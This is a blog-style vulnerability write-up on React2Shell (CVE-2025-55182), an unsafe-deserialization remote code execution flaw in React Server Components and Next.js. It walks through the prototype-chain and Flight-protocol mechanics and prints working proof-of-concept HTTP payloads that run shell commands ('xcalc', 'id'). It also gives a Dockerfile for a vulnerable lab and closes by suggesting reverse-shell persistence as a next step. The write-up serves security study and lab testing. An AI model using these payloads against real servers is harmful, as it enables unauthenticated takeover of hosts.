Introduction#

While reviewing the major vulnerability disclosures of 2025, I found myself revisiting React2Shell, a flaw that sent shockwaves through the web development community last month. It has been some time since my last deep dive into web application pentesting, so I decided to analyze this critical vulnerability in detail.

Overview#

React2Shell is a CVSS 10.0 critical severity vulnerability affecting server-side React.js usage. It is listed under CVE number: CVE-2025-55182 for React.js and CVE-2025-66487 for Next.js framework. This vulnerability allows unauthenticated remote code execution through crafted HTTP request. The react2shell vulnerability affects the React Server Components (RSC) and the frameworks that implements them such as Next.js and allows unauthenticated remote code execution. This vulnerability was reported by Lachlan Davidson on 29th November 2025 (Pacific Time) to the Meta team (maintainers of React.js). The vulnerability was first disclosed publicly later on 3rd December (Pacific Time) along with a patch. In this blog, we will cover some basics of React.js needed to understand this vulnerability, React Server Components (RCS), Flight Protocol, Analyze the vulnerability, Analyze the POC and finally Run the exploit in our own lab environment to see how the exploit works in real scenarios.

React Basics#

React.js focuses on the view layer of an application and lets developers build reusable UI components that efficiently update when data changes using a virtual DOM. React itself does not handle routing, data fetching, or server logic—it is primarily concerned with rendering UI components in the browser (and, with additional tooling, on the server).

Next.js extends React by adding production-ready features such as server-side rendering (SSR), static site generation (SSG), API routes, file-based routing, and built-in performance optimizations. Next.js can run React code on the server (using Node.js) as well as in the browser, making it suitable for SEO-friendly and high-performance web applications.

Here are the important components of React.js we need to know about for understanding this exploit.

Prototype Chain - The prototype chain is JavaScript’s inheritance mechanism in which objects automatically delegate property lookups to their prototype, then to that prototype’s prototype, and so on until the chain ends at null, allowing objects to access properties and methods they do not directly define.

Constructor - A constructor is a special function used to create and initialize objects, defining their properties and behavior when a new instance is created.

Server rendering - It is a technique where an application’s UI is generated on the server and sent to the client as ready-to-use content, improving initial load time, performance, and SEO while reducing the amount of work done in the browser.

Chunk Object - A chunk object is a unit of data or code—often produced by a bundler or streaming protocol—that represents a portion of an application (such as a module, component, or serialized UI data) and is loaded, processed, or transmitted independently of other parts.

React Server Components and Flight Protocol#

Deserialization Vulnerability#

Unsafe deserialization is a vulnerability where untrusted serialized data is deserialized without proper validation, allowing attackers to manipulate objects and potentially achieve code execution, data tampering, or denial of service.

The react2shell vulnerability is basically an unsafe deserialization vulnerability in how the incoming flight protocol payloads are handled by the react server component. The vulnerability exists in the react-server-dom-webpack package.

1
function requireModule(metadata) {
2
 var moduleExports = __webpack_require__(metadata[0]);
3
 ... <snip> ...
4
 return moduleExports[metadata[2]];  // VULNERABILITY
5
}

This issue is an unsafe deserialization vulnerability arising from how React Server Components interpret untrusted Flight protocol data on the server. In the vulnerable code inside react-server-dom-webpack, the requireModule function dynamically resolves exports using user-controlled metadata.

The line moduleExports[metadata[2]] is dangerous because JavaScript’s bracket notation does not restrict access to explicitly exported properties — it walks the entire prototype chain. As a result, an attacker can request properties like constructor that were never intended to be exposed. Since every JavaScript function inherits a constructor property pointing to the global JavaScript Function constructor, accessing someFunction.constructor yields a powerful primitive capable of executing arbitrary code via Function("code")(). The vulnerability becomes exploitable because the Flight protocol allows clients to specify colon-separated property paths, enabling crafted references such as $1:constructor:constructor, which resolve from a module export to its constructor and then to the global Function constructor. This effectively turns deserialization of Flight payloads into a server-side code execution risk, as untrusted client input controls object traversal and function resolution during server rendering.

The $1:constructor:constructor reference works by walking the object hierarchy step by step: it first resolves chunk (or module) 1, then accesses its .constructor property, which yields the global Function constructor, and finally accesses .constructor once more, still resolving to the same Function constructor while firmly anchoring the prototype chain path.

Deserialization to Remote Code Execution#

maple3142 dropped a POC for the CVE-2025-55182 that achieves Remote Code Execution. This POC chains together various JavaScript engine behaviors to transform the deserialization vulnerability into Arbitrary Code Execution. The exploit is a multipart form http request with three fields.

1
{
2
 "then": "$1:__proto__:then",
3
 "status": "resolved_model",
4
 "reason": -1,
5
 "value": "{\\"then\\":\\"$B1337\\"}",
6
 "_response": {
7
   "_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
8
   "_chunks": "$Q2",
9
   "_formData": {
10
     "get": "$1:constructor:constructor"
11
   }
12
 }
13
}

PART ONE

This payload exploits how React Server Components process Flight data by abusing JavaScript’s “thenable” behavior and prototype-chain property resolution. The object is crafted to look like React’s internal Chunk structure, including fields such as status, value, _response, and especially then, so React treats it as a legitimate chunk. By setting then to resolve via __proto__, the object does not define its own then method but instead inherits Chunk.prototype.then. When React later awaits this chunk, JavaScript automatically invokes the inherited then method with the attacker-controlled object as this. The prototype then implementation assumes it is operating on a trusted internal chunk, so it reads other properties from the object without validation. Those properties are attacker-supplied and include paths like constructor:constructor, which resolve to the global Function constructor through the prototype chain. React’s internal response-handling logic then combines this with attacker-controlled strings (such as _prefix), resulting in the dynamic creation and execution of a function. In short, the exploit turns a passive serialized object into executable code by masquerading as a promise-like chunk, leveraging prototype traversal to reach powerful constructors, and letting JavaScript’s own await semantics trigger execution.

PART TWO

In the second stage, the exploit pivots from promise/thenable abuse to Blob deserialization, which is another trusted execution path in the React Flight protocol. In Flight payloads, values prefixed with $B represent Blob references, and when React encounters such a reference (for example $B1337), it resolves it by calling a Blob handler that fetches the associated data using response._formData.get(response._prefix + id). Under normal conditions, _formData.get is a safe accessor and _prefix is a benign string used to namespace Blob identifiers. However, the attacker has already polluted the _response object so that _formData.get no longer points to a real getter but instead resolves through the prototype chain to constructor:constructor, which is the global Function constructor. At the same time, _prefix is attacker-controlled and contains arbitrary JavaScript code. When the Blob handler concatenates _prefix with the Blob id (1337) and passes the result to _formData.get, React unknowingly executes Function("<attacker code>1337"). The act of constructing the function immediately evaluates the supplied string as executable JavaScript, leading to arbitrary code execution. This works because React assumes _response is a trusted internal object and does not validate either the type of _formData.get or the contents of _prefix, allowing a normally inert deserialization step to become an execution sink once those fields are attacker-controlled.

PART THREE

At this final stage, the exploit fully escapes the React runtime and achieves native server-side code execution by leveraging Node.js internals. The injected payload process.mainModule.require('child_process').execSync('xcalc') runs inside the same Node.js process that is executing the React server. First, process.mainModule gives access to the application’s entry module, which exposes a trusted require function even if require is not directly in scope. Using this require, the exploit loads Node.js’s built-in child_process module, which provides APIs for interacting with the operating system. Calling execSync then executes an arbitrary shell command synchronously with the privileges of the server process. Launching xcalc is simply a benign proof of exploitation showing that arbitrary commands can be executed, but the impact is far more severe: the same mechanism can be used to spawn reverse shells, read or modify files, exfiltrate environment variables and secrets, pivot to other internal services, or otherwise fully compromise the host. At this point, React and JavaScript abstractions no longer matter—the attacker effectively has the same capabilities as the Node.js application itself.

Taking a look at the POC#

Now let us analyze the actual POC by maple3142.

1
POST / HTTP/1.1
2
Host: localhost
3
Next-Action: x
4
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
5

6
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
7
Content-Disposition: form-data; name="0"
8

9
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
10
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
11
Content-Disposition: form-data; name="1"
12

13
"$@0"
14
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
15
Content-Disposition: form-data; name="2"
16

17
[]
18
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

This technical analysis details a critical Remote Code Execution (RCE) vulnerability (CVE-2025-55182) affecting the React and Next.js ecosystems. The exploit leverages the way React Server Components (RSC) deserialize data through the Flight protocol.

Running the Exploit#

1
POST / HTTP/1.1
2
Host: localhost:3000
3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
4
Next-Action: x
5
X-Nextjs-Request-Id: b5dce965
6
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
7
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
8
Content-Length: 740
9

10
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
11
Content-Disposition: form-data; name="0"
12

13
{
14
  "then": "$1:__proto__:then",
15
  "status": "resolved_model",
16
  "reason": -1,
17
  "value": "{\"then\":\"$B1337\"}",
18
  "_response": {
19
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
20
    "_chunks": "$Q2",
21
    "_formData": {
22
      "get": "$1:constructor:constructor"
23
    }
24
  }
25
}
26
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
27
Content-Disposition: form-data; name="1"
28

29
"$@0"
30
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
31
Content-Disposition: form-data; name="2"
32

33
[]
34
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

To test out the exploit, we will setup a docker container using a Dockerfile:

1
FROM node:20-bookworm
2

3
WORKDIR /app
4

5
# 1. Create package.json with the necessary scripts
6
RUN echo '{\
7
  "name": "vulnerable-nextjs",\
8
  "version": "0.1.0",\
9
  "private": true,\
10
  "scripts": {\
11
    "build": "next build",\
12
    "start": "next start"\
13
  }\
14
}' > package.json
15

16
# 2. Install the specific vulnerable versions (forcing bypass of peer conflicts)
17
RUN npm install next@15.0.0 react@19.0.0 react-dom@19.0.0 --legacy-peer-deps
18

19
# 3. Create a minimal JS-based App Router structure
20
RUN mkdir -p src/app
21
RUN echo 'export default function Page() { return <h1>Vulnerable Environment Running</h1>; }' > src/app/page.js
22
RUN echo 'export default function RootLayout({ children }) { return <html lang="en"><body>{children}</body></html>; }' > src/app/layout.js
23

24
# 4. Build the application
25
ENV NEXT_TELEMETRY_DISABLED 1
26
RUN npm run build
27

28
EXPOSE 3000
29

30
CMD ["npm", "run", "start"]

Then run the following to create and start the docker container on the port 3000.

1
docker build -t react2shell .
2
docker run -p 3000:3000 react2shell

To run the exploit, open a new tab in burp repeater (1) and paste in the http request from above. Then goto the top right corner (2) and select Target, a dialog box will open, fill out the target-specific information (3) and make sure to disable https as our application is running on http.

Now click on send and check the response.

The response will have a 500 Internal Server Error Code and the response body will contain the output for the id command.

Final Words#

This concludes my analysis of the React2Shell (CVE-2025-55182) vulnerability. We explored the React fundamentals necessary to understand the core flaw, examined React Server Components and the Flight Protocol, and analyzed how an unsafe deserialization vulnerability can be chained to achieve Remote Code Execution. Finally, we demonstrated the exploit in a controlled Docker environment. I highly recommend that all developers using React and Next.js audit their versions immediately. The next step for researchers would be to explore reverse shell persistence or alternative payloads to further understand the extent of this flaw.